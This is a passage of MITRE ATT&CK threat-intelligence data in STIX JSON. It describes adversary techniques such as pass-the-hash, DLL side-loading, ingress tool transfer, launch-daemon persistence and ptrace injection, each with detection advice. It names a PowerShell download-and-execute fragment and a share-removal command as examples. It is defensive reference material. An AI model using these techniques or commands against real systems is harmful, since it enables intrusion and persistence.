Chapter","url":"https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf","description":"Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.","modified":"2022-04-19T23:46:56.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Re-opened Applications","x_mitre_detection":"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","File: File Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Blake Strom, Microsoft 365 Defender","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","type":"attack-pattern","created":"2020-01-30T16:36:51.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1550.002","url":"https://attack.mitre.org/techniques/T1550/002"},{"external_id":"CAPEC-644","source_name":"capec","url":"https://capec.mitre.org/data/definitions/644.html"},{"source_name":"Stealthbits Overpass-the-Hash","url":"https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/","description":"Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021."}],"modified":"2021-08-31T19:55:02.702Z","name":"Pass the Hash","description":"Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_detection":"Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Logon Session: Logon Session Creation","Active Directory: Active Directory Credential Request","User Account: User Account Authentication"],"x_mitre_defense_bypassed":["System Access Controls"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["William Cain"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549","type":"attack-pattern","created":"2017-05-31T21:30:46.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1052","external_id":"T1052"}],"modified":"2021-10-15T22:48:29.702Z","name":"Exfiltration Over Physical Medium","description":"Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor file access on removable media. Detect processes that execute when removable media are mounted.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Drive: Drive Creation","File: File Access","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":["Presence of physical medium or device"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","type":"attack-pattern","created":"2020-03-13T19:41:37.908Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.002","url":"https://attack.mitre.org/techniques/T1574/002"},{"external_id":"CAPEC-641","source_name":"capec","url":"https://capec.mitre.org/data/definitions/641.html"},{"source_name":"FireEye DLL Side-Loading","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf","description":"Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."}],"modified":"2021-04-26T18:31:34.954Z","name":"DLL Side-Loading","description":"Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Module: Module Load","File: File Creation","File: File Modification"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["John Page (aka hyp3rlinx), ApparitionSec"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","created":"2017-05-31T21:31:16.408Z","x_mitre_version":"2.1","external_references":[{"source_name":"mitre-attack","external_id":"T1105","url":"https://attack.mitre.org/techniques/T1105"},{"source_name":"University of Birmingham C2","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016."},{"source_name":"t1105_lolbas","url":"https://lolbas-project.github.io/#t1105 ","description":"LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022."},{"source_name":"PTSecurity Cobalt Dec 2016","url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as <code>IEX(New-Object Net.WebClient).downloadString()</code> and <code>Invoke-WebRequest</code>. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)","modified":"2022-04-20T17:14:04.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Ingress Tool Transfer","x_mitre_detection":"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows <code>netsh interface portproxy</code> modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["File: File Creation","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","Office 365","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Detection and Response Team (DART)","Mike Burns, Mandiant","Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)","Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","created":"2020-01-19T16:54:28.516Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1098.002","url":"https://attack.mitre.org/techniques/T1098/002"},{"source_name":"Bienstock, D. - Defending O365 - 2019","url":"https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365","description":"Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019."},{"source_name":"Crowdstrike Hiding in Plain Sight 2018","url":"https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/","description":"Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020."},{"source_name":"Google Ensuring Your Information is Safe","url":"https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html","description":"Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022."},{"source_name":"Gmail Delegation","url":"https://support.google.com/a/answer/7223765?hl=en","description":"Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022."},{"source_name":"FireEye APT35 2018","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018."},{"source_name":"Microsoft - Add-MailboxPermission","url":"https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps","description":"Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019."},{"source_name":"Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452","url":"https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html","description":"Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)","modified":"2022-04-19T14:55:26.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Additional Email Delegate Permissions","x_mitre_detection":"Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from  real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Application Log: Application Log Content","User Account: User Account Modification","Group: Group Modification"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15","type":"attack-pattern","created":"2020-10-01T02:11:47.237Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1588.003","url":"https://attack.mitre.org/techniques/T1588/003"},{"url":"https://en.wikipedia.org/wiki/Code_signing","description":"Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.","source_name":"Wikipedia Code Signing"}],"modified":"2021-10-17T16:19:50.018Z","name":"Code Signing Certificates","description":"Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a","type":"attack-pattern","created":"2017-05-31T21:31:38.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1126","url":"https://attack.mitre.org/techniques/T1126"},{"url":"https://technet.microsoft.com/bb490717.aspx","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","source_name":"Technet Net Use"}],"modified":"2020-01-31T12:39:48.118Z","name":"Network Share Connection Removal","description":"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_system_requirements":["Established network share connection to a remote system. Level of access depends on permissions of the account used."]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4","type":"attack-pattern","created":"2017-05-31T21:31:05.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1084","url":"https://attack.mitre.org/techniques/T1084"},{"url":"https://www.secureworks.com/blog/wmi-persistence","description":"Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.","source_name":"Dell WMI Persistence"},{"url":"https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf","description":"Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.","source_name":"Kazanciyan 2014"},{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf","description":"Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.","source_name":"Mandiant M-Trends 2015"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"description":"French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96","source_name":"Medium Detecting WMI Persistence"}],"modified":"2020-01-24T14:08:23.156Z","name":"Windows Management Instrumentation Event Subscription","description":"Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1160","url":"https://attack.mitre.org/techniques/T1160"},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.","source_name":"AppleDocs Launch Agent Daemons"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","source_name":"OSX Malware Detection"},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"}],"modified":"2020-03-19T15:08:50.043Z","name":"Launch Daemon","description":"Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software  (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","type":"attack-pattern","created":"2020-01-14T01:33:19.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.008","url":"https://attack.mitre.org/techniques/T1055/008"},{"source_name":"PTRACE man","url":"http://man7.org/linux/man-pages/man2/ptrace.2.html","description":"Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."},{"source_name":"Medium Ptrace JUL 2018","url":"https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be","description":"Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020."},{"source_name":"BH Linux Inject","url":"https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf","description":"Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020."},{"description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.","source_name":"ArtOfMemoryForensics"},{"url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.","source_name":"GNU Acct"},{"url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","source_name":"RHEL auditd"},{"url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.","source_name":"Chokepoint preload rootkits"}],"modified":"2021-10-18T12:26:31.766Z","name":"Ptrace System Calls","description":"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: OS API Execution","Process: Process Access"],"x_mitre_defense_bypassed":["Anti-virus","Application 